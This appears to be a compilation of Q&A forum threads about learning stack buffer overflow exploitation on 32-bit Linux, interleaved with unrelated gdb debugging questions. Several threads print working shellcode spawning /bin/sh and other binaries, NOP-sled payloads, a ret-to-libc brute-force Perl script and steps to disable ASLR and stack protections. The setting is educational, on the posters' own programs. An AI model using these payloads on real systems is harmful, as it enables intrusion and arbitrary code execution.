I have to inject a code in the following buffer overflow program. The code should print the hostname. I have an opcode (\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80) which works. I have used NOPs and repeated return address. But I'm not able to run the code with it and I always end up with a segmentation fault. Can anyone help me on this?
Vulnerable.c
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char * * argv)
{
char * stuff = 0;
int len = 0;
vulnerable();
return 0;
}
int
vulnerable(void)
{
char buf[100];
printf("enter your name: ");
fflush(stdout);
gets(buf);
printf("\"%s\"\n Welcome", buf );
}
I compiled the above program with
gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o vulnerable vulnerable.c
Shellcode.py
print "\x90"*51 +"\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80" + "\xd8\xf3\xff\xbf"*6
I have called this python program in command line by
python shellcode.py | ./vulnerable
I suggest you to turn on core dump:
ulimit -c unlimited
then do a simple buffer overflow like perl -e 'print "A"x130' and system will generate the dump: open it with gdb -c core and you will see %eip=0x41414141
Then you can reduce the buffer injected like perl -e 'print "A"x120' until you get exactly the size of buffer in order to overwrite RET.
Can you describe the steps to find out the return address?
c> shellcode.py >shellcode
c> gdb vulnerable
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) b vulnerable
Breakpoint 1 at 0x80484e6: file vulnerable.c, line 17.
(gdb) r <shellcode
Starting program: /home/armali/bin/so/c/vulnerable <shellcode
Breakpoint 1, vulnerable () at vulnerable.c:17
17 printf("enter your name: ");
(gdb) info frame
Stack level 0, frame at 0xbffff7bc:
eip = 0x80484e6 in vulnerable (vulnerable.c:17); saved eip 0x80484c9
called by frame at 0xbffff7cc
source language c.
Arglist at 0xbffff7bc, args:
Locals at 0xbffff7bc, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffff7bc, eip at 0xbffff7c0
The example shows that the return address eip 0x80484c9 is saved at 0xbffff7c0.
Related
Need to extract a few values from an auxiliary vector. You can read more about it here. That's where I got and slightly modified code below:
#include <stdio.h>
#include <elf.h>
int main(int argc, char* argv[], char* envp[])
{
Elf64_auxv_t *auxv;
while (*envp++ != NULL); /* from stack diagram above: *envp = NULL marks end of envp */
for (auxv = (Elf64_auxv_t *)envp; auxv->a_type != AT_NULL; auxv++)
/* auxv->a_type = AT_NULL marks the end of auxv */
{
if (AT_EXECFN == auxv->a_type)
{
char *str = (char *)auxv->a_un.a_val;
printf("%s\n", str);
break;
}
}
return 0;
}
I compile the code with gcc -g aux-extractor.c.
Here is the weird part. If I run the code as ./a.out I get and output as ./a.out which makes sense. However when I debug it in gdb and print the value at a specific address I get /tmp/a.out, which also makes sense I compiled my code in /tmp directory. My question is why I'm getting two different results, a.out and /tmp/a.out?
Here is my debugging session (pay attention to the output of the x/s command:
$ gdb ./a.out
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu". T
ype "show configuration" for configuration details.
For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./a.out...
(gdb) start
Temporary breakpoint 1 at 0x1149: file auxv-extractor.c, line 5.
Starting program: /tmp/a.out
Temporary breakpoint 1, main (argc=21845, argv=0x0, envp=0x5555555551c0 <__libc_csu_init>) at auxv-extractor.c:5
5 {
(gdb) break 15
Breakpoint 2 at 0x555555555198: file auxv-extractor.c, line 15.
(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0x7fffffffe408, envp=0x7fffffffe520) at auxv-extractor.c:15
15 printf("%s\n", str);
(gdb) x/s str
0x7fffffffefed: "/tmp/a.out"
(gdb)
When gdb runs your program, it does so by executing /tmp/a.out, having expanded the path from the ./a.out on the command line.
GDB has a habit of starting the program with $(realpath ./a.out) when ./a.out is given on the command line.
I've tried to set exec-wrapper as a way to avoid this, but was not successful -- even when setting exec-wrapper wrapper.sh with this contents:
#!/bin/bash
exec -a "./a.out" "$#"
the AT_EXECFN remains /tmp/a.out.
This answer shows how to pause the program after main() to make it easy to attach GDB from "outside". AT_EXECFN will be set to ./a.out as expected, and you can continue debugging as you normally would.
I am trying a buffer overflow on the following program:
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]){
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
I used this payload to try overflowing the buffer,
./orc `perl -e 'print"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11'``perl -e 'print "\x90"x9, **"\xac\xfa\xff\xbf"'`**
However, it seems to be not working and only gives me this result.
j
X?Rh//shh/bin??S?訴???????????
Yes, it's almost my first time trying a BOf, and I feel like that the ret adress which is at the end of the payload(bold) seems inaccurate. So, how do you get the ret adress to put at the end of the shellcode? And what does it do?
Thanks in advance :)
I couldn't tell you if your return code is correct or not as I don't know where you're planning on returning.
Compiling this code with "-fno-stack-protector -z execstack" and address ASLR disabled (echo 0 > /proc/sys/kernel/randomize_va_space) my buffer looks like the following:
# ./orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')
Running it up in gdb (gdb --args orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')) and dumping esp (x/100x $esp) shows that it points to the area of the buffer directly after the return address so if you could find a RET %ESP instruction somewhere in memory, having your return address point to it would drop you directly back to your buffer.
To find a suitable return address, you can do the following (again assuming that ASLR has been disabled):
Find the address of the linked libraries - on my box this shows:
# ldd orc
linux-gate.so.1 => (0xb7fff000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e80000)
/lib/ld-linux.so.2 (0x80000000)
Search the address provided for libc (0xb7e80000) for the RET %ESP instruction from within gdb using "find /b [start-search-address], [end-search-address], [stuff-to-search-for]".
# gdb --args orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')
gdb$ b main
Breakpoint 1 at 0x8048555: file orc.c, line 12
gdb$ r
Breakpoint 1, main (argc=0x2, argv=0xbffff4e4) at orc.c:12
12 if (argc < 2)
gdb$ find /b 0xb7e80000, 0xb7fff000, 0xff, 0xe4
0xb7f88a0f
0xb7f96b73
0xb7f96bf3
...
0xb7f96df3
0xb7f975f3
0xb7f97673
Pick one for the return address - I selected the first one '0xb7f88a0f' which is plumbed into the buffer as '\x0f\x8a\xf8\xb7'.
This should drop you on your buffer which you can verify once again by placing a bunch of breakpoints ('\xCC') in after the return address and running the program in gdb as shown above. Execution should break on the address immediately following your return address. Verify with:
gdb$ x/8x $eip-4
0xbffff43c: 0xb7f88a0f 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff44c: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
You should see your return address at EIP - 4 bytes and the final buffer should look like this (no need for the nops):
$(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')
I am messing around with buffer overflows, particularly the return into libc kind.
I have the following vulnerable code:
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
I compiled it using gcc-2.95 (no -fstack-protector) with the -mpreferred-stack-boundary=2 flag. I followed the return into libc chapter of "Hacking: The Art of Exploitation".
First, I disabled ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
I found out the address of system:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
I created an environment variable to contain the command I want to execute using system:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
And then I made a perl script to automate getting the shell:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
Where did I go wrong? Why do I get "illegal instruction" instead of my shell?
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'
Vary the number of 'A's to test the various failures. In find python -c "print 'A'*73" (73 used to produce the above) to be helpful for generating the arguments.
gdb will tell you exactly where you're crashing and what's at EIP/RIP when you crash. This should guide you to an answer to your question.
Most likely, you're not getting a good pointer in the return address on the stack and execution is landing in memory that doesn't disassemble to valid instructions. I'd think you're close here. The segmentaion faults are more likely to be execution landing in a region of memory that isn't even allocated.
Use (gdb) x/10i $eip to identify what instructions are at EIP when you crash. You can vary the length of the disassembly shown by altering the 10 in that command.
You'll also need to figure out where your argument to system is landing on the stack so that it makes it into the appropriate place in the calling convention to get system to call it. gdb should be able to help you here too (again, use x - x/4w maybe - and i r).
Successful exploitation requires both of the above pieces: the 0xb7eb6680 must be in the return address and the 0xbffff96d must be wherever system is going to read it's first argument from.
Another helpful trick: set a breakpoint on the ret at the end of the strcpy function. This is a handy place to inspect your stack and register state and identify what you're about to do. The ret is where exploitation happens: the return address you supply is read, the processor begins executing at that address and you're off, assuming you can sustain execution with proper arguments to whatever you're calling, etc. The program's state at this ret is the make or break point so it's the easiest place to see what's wrong with your input and why you will or will not successfully exploit the vulnerability.
Forgive me if my gdb syntax isn't bang on... it's not my primary debugger.
I am trying to learn to exploit simple bufferover flow technique on Backtrack Linux.
Here is my C program
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[500];
if(argc==2)
{
strcpy(buffer, argv[1]); //vulnerable function
}
return 0;
}
This is the shellcode I am using, which corresponds to simple /bin/ls
\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
I inject this shellcode in gdb using following command
run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
As I step through the application, it generates SIG FAULT on final ret instruction. At that point EIP is correctly set to 0xffffd30c. This address is addressable and contains series of NOP, followed by my shell code as shown in the payload.
I have disabled the ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
and also compiled my binary using fno-stack-protector option.
Any idea what's the cause of SIGSEGV ?
I have answered my own question, the problem was "Executable Stack Protection", where in stack memory cannot be executed. This can be disabled in gcc as follows
gcc -z execstack
Have you disabled stack smashing protection in GCC (-fno-stack-protector)?
How to turn off gcc compiler optimization to enable buffer overflow
I have a multithreaded (pthreads) program in which main() calls a function omp_file_open_all() and passes in a string as char* alongwith other arguments. I was debugging something using gdb and saw that gdb does not print out the string value correctly, whereas a printf inside the function prints it out correcly.
Breakpoint 1, omp_file_open_all (fd=0x423bb950, filename=0x7f605df078e0 "", mode=-16843009) at pthread_coll_file_open.c:29
29 if(omp_get_thread_num() == MASTER)
(gdb) print filename
$1 = 0x7f605df078e0 ""
So gdb shows filename as empty, whereas a printf inside the function outputs the correct value as "/tmp/test.out". The function being called (omp_file_open_all) is defined as follows (not in the same file as main()):
int omp_file_open_all (int fd, char* filename, int mode);
I cant post my program here as this is a part of a larger code thats approx. 1500 lines of code. 'filename' is a global variable and is set in main() by the main thread before newer threads are spawned.
So this is not an error, and I merely stumbled across it, but I am interested in finding out why gdb does not display the correct value.
OS: 64bit OpenSUSE,
gdb 6.8
Thanks for your help.
There might be some thing going wrong in your code. With the following code snippet, I am getting the string printed by gdb correctly.
#include <stdio.h>
#include <stdlib.h>
void checkString( char* fileName )
{
printf("%s", fileName);
}
int main()
{
char* name = "temp";
checkString(name);
return 0;
}
mahesh-babu-vattiguntas-macbook-pro:Desktop mahesh$ gdb gdb.out
GNU gdb 6.3.50-20050815 (Apple version gdb-1469) (Wed May 5 04:36:56 UTC 2010)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin"...Reading symbols for shared libraries .. done
(gdb) b gdb.c:6
Breakpoint 1 at 0x100000ebc: file gdb.c, line 6.
(gdb) run gdb.out
Starting program: /Users/mahesh/Desktop/gdb.out gdb.out
Reading symbols for shared libraries +. done
Breakpoint 1, checkString (fileName=0x100000f05 "temp") at gdb.c:6
6 printf("%s", fileName);
(gdb) p fileName
$1 = 0x100000f05 "temp"
(gdb)
Try stepping forward one line (gdb "s" command) after you hit the breakpoint, then try printing it again. I've sometimes seen gdb have trouble displaying parameter values correctly when breaking at the beginning of a function.
My first guess was that there is a scoping issue, since the name of the function parameter and your global variable is identical. However, this does not seem to be the case for the following very small program:
#include <cstdio>
static char const* filename = "something";
int foobar(char const* filename)
{
printf("%s\n", filename);
}
int main(int argc, char** argv)
{
return foobar("somethingelse");
}
Compiled with:
g++ -ggdb -g3 -O0 test.cpp -o test
GDB (7.2, also on x64 but Ubuntu) gives:
Breakpoint 1, foobar (filename=0x400706 "somethingelse") at test.cpp:7
7 printf("%s\n", filename);
(gdb) p filename
$1 = 0x400706 "somethingelse"
So it's not about scoping per-se. Also, the output suggests that the parameter is indeed an empty string at execution time. Could you please provide us with the output of bt at the same time you break into the debugger? Last two stack frames are sufficient.